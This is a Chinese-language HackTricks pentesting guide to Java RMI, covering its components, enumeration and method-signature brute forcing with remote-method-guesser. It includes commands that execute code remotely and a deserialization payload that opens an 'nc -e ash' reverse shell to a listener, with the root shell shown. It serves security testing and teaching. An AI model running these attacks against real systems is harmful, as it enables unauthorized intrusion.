# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获得[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
\ 使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上最先进的社区工具。\ 立即获取访问权限: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## 基本信息 _Java远程方法调用_,或_Java RMI_,是一种面向对象的_RPC_机制,允许一个位于一个_Java虚拟机_中的对象调用另一个位于另一个_Java虚拟机_中的对象的方法。这使得开发人员可以使用面向对象的范式编写分布式应用程序。可以在[这个黑帽演讲](https://youtu.be/t\_aw1mDNhzI?t=202)中找到关于从攻击者角度对_Java RMI_的简短介绍。 **默认端口:**1090、1098、1099、1199、4443-4446、8999-9010、9999 ``` PORT STATE SERVICE VERSION 1090/tcp open ssl/java-rmi Java RMI 9010/tcp open java-rmi Java RMI 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` 通常,只有默认的Java RMI组件(RMI注册表和激活系统)绑定到常见的端口。实际实现RMI应用程序的远程对象通常绑定到随机端口,如上面的输出所示。 nmap有时会有困难识别SSL保护的RMI服务。如果在常见的RMI端口上遇到未知的SSL服务,应进一步调查。 ## RMI组件 简单来说,Java RMI允许开发人员在网络上提供Java对象。这会打开一个TCP端口,客户端可以连接并调用相应对象上的方法。尽管听起来很简单,但Java RMI需要解决几个挑战: 1. 要通过Java RMI分派方法调用,客户端需要知道目标对象的IP地址、监听端口、实现的类或接口以及ObjID(ObjID是在对象在网络上可用时创建的唯一随机标识符。它是必需的,因为Java RMI允许多个对象在同一个TCP端口上监听)。 2. 远程客户端可以通过调用暴露对象上的方法在服务器上分配资源。Java虚拟机需要跟踪哪些资源仍在使用中,哪些可以进行垃圾回收。 第一个挑战通过RMI注册表解决,它基本上是Java RMI的命名服务。RMI注册表本身也是一个RMI服务,但实现的接口和ObjID是固定的,并且所有RMI客户端都知道。这使得RMI客户端只需知道相应的TCP端口就可以使用RMI注册表。 当开发人员希望将他们的Java对象在网络中可用时,通常会将它们绑定到RMI注册表。注册表存储连接到对象所需的所有信息(IP地址、监听端口、实现的类或接口和ObjID值),并将其以可读的名称(绑定名称)提供。想要使用RMI服务的客户端向RMI注册表请求相应的绑定名称,注册表返回所有连接所需的信息。因此,情况基本上与普通的DNS服务相同。以下示例显示了一个小例子: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; import lab.example.rmi.interfaces.RemoteService; public class ExampleClient { private static final String remoteHost = "172.17.0.2"; private static final String boundName = "remote-service"; public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name String response = ref.remoteMethod(); // Call a remote method } catch( Exception e) { e.printStackTrace(); } } } ``` 上述提到的第二个挑战是通过分布式垃圾收集器(Distributed Garbage Collector,DGC)来解决的。DGC是另一个具有众所周知的ObjID值的RMI服务,基本上每个RMI端点都可以使用它。当RMI客户端开始使用RMI服务时,它会向DGC发送一个信息,说明相应的远程对象正在使用中。DGC可以跟踪引用计数,并能够清理未使用的对象。 除了已弃用的激活系统(Activation System)之外,这些是Java RMI的三个默认组件: 1. RMI注册表(ObjID = 0) 2. 激活系统(ObjID = 1) 3. 分布式垃圾收集器(ObjID = 2) Java RMI的默认组件已经是已知的攻击向量很长时间了,过时的Java版本中存在多个漏洞。从攻击者的角度来看,这些默认组件很有趣,因为它们实现了已知的类/接口,很容易与它们进行交互。对于自定义的RMI服务,情况就不同了。要调用远程对象的方法,您需要事先知道相应的方法签名。如果不知道现有的方法签名,就无法与RMI服务进行通信。 ## RMI枚举 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)是一个Java RMI漏洞扫描工具,能够自动识别常见的RMI漏洞。每当您发现一个RMI端点时,都应该尝试使用它: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] RMI server codebase enumeration: [+] [+] - http://iinsecure.dev/well-hidden-development-folder/ [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enmeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` 枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的解释。根据结果,您应该尝试验证已识别的漏洞。 _remote-method-guesser_显示的`ObjID`值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] ObjNum: -4004948013687638236 [+] UID: [+] Unique: 1442798173 [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` ## 暴力破解远程方法 即使在枚举过程中没有发现漏洞,可用的_RMI_服务仍然可能暴露危险的函数。此外,尽管_RMI_通信到_RMI_默认组件受到反序列化过滤器的保护,但是当与自定义_RMI_服务通信时,通常不会使用这些过滤器。因此,了解_RMI_服务上的有效方法签名非常有价值。 不幸的是,_Java RMI_不支持枚举远程对象上的方法。尽管如此,可以使用诸如[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)或[rmiscout](https://github.com/BishopFox/rmiscout)等工具来暴力破解方法签名: ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt [+] 752 methods were successfully parsed. [+] Reading method candidates from internal wordlist rmiscout.txt [+] 2550 methods were successfully parsed. [+] [+] Starting Method Guessing on 3281 method signature(s). [+] [+] MethodGuesser is running: [+] -------------------------------- [+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! [+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! [+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! [+] [6562 / 6562] [#####################################] 100% [+] done. [+] [+] Listing successfully guessed methods: [+] [+] - plain-server2 == plain-server [+] --> String execute(String dummy) [+] --> String system(String dummy, String[] dummy2) [+] - legacy-service [+] --> void logMessage(int dummy1, String dummy2) [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` 已识别的方法可以这样调用: ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` 或者你可以执行如下的反序列化攻击: ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.lang.String on position 0 [+] Specified method signature is String execute(String dummy) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea. [+] Deserialization attack probably worked :) $ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` 以下是一些相关文章的更多信息: * [在JEP 290之后攻击Java RMI服务](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) * [方法猜测](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://bishopfox.com/blog/rmiscout) 除了猜测之外,你还可以在搜索引擎或_GitHub_上查找遇到的_RMI_服务的接口或实现。在这种情况下,_bound name_和实现类或接口的名称可能会有所帮助。 ## 已知接口 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)会将在工具的内部已知_RMI服务_数据库中列出的类或接口标记为`known`。在这些情况下,你可以使用`known`操作来获取有关相应_RMI服务_的更多信息: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585] $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter ``` ## Shodan * `port:1099 java` ## 工具 * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://github.com/BishopFox/rmiscout) * [BaRMIe](https://github.com/NickstaDB/BaRMIe) ## HackTricks 自动命令 ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out Entry_1: Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ```
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